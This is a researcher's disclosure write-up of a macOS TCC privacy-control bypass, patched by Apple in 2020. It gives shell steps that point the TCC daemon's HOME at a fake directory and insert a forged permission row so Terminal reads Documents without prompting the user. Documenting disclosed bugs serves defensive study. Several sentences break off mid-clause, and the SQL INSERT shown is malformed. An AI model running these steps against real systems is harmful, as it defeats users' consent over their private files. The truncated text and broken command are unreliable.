The Transparency, Consent, and Control (TCC) Framework is an Apple subsystem which denies installed applications access to ‘sensitive’ user data without explicit permission from the user (generally in the form of a pop-up message). While TCC also runs on iOS, this bug is restricted to the macOS variant. To learn more about how TCC works, especially with Catalina, I recommend reading this article.
If an application attempts to access files in a directory protected by TCC without user authorization, the file operation will fail. TCC stores these user-level entitlements in a SQLite3 database on disk at
When the daemon receives such a request, it first checks the TCC database to see if the user has either allowed or denied access to the requested data before from this application. If so, TCC uses the previous decision; otherwise it prompts the user to choose whether to allow the application access or not. Thus, if an application can gain write access to this TCC database, it can not only give itself all TCC entitlements, but also do it without ever prompting the user.
Obviously being able to write directly to the database completely defeats the purpose of TCC, so Apple protects this database itself with TCC and System Integrity Protection (SIP). Even a program running as root cannot modify this database unless it has the
Since the TCC daemon is directly responsible for reading and writing to the TCC database, it’s a prime candidate!
Immediately after opening the TCC daemon in Ghidra and looking for code that was related to handling database operations, I noticed something that didn’t seem right.
Essentially, when the TCC daemon attempts to open the database, the program tries to directly open (or create if not already existing) the SQLite3 database at
I initially dismissed this as a fun trick as the actual TCC daemon running via
Proof of Concept
The POC for this bug is actually pretty simple and requires no code to be written.
# reset database just in case (no cheating!)
$> tccutil reset All# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/" # set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
'com.apple.Terminal', 0, 1, 1,
1333333333333337);"# list Documents directory without prompting the end user
$> ls ~/Documents
I also have a full Swift (because why not) writeup available on Github.
- 26 Feb 2020: Issue reported to the Apple Product Security Team
- 27 Feb 2020: Apple reviews report, begins investigation into issue
- 23 Apr 2020: Apple confirms the bug will be fixed in a future update
- 15 Jul 2020: Apple releases patch for the bug (Security Update 2020–004)
I’m trying out this Twitter Infosec thing, so reach out to me there!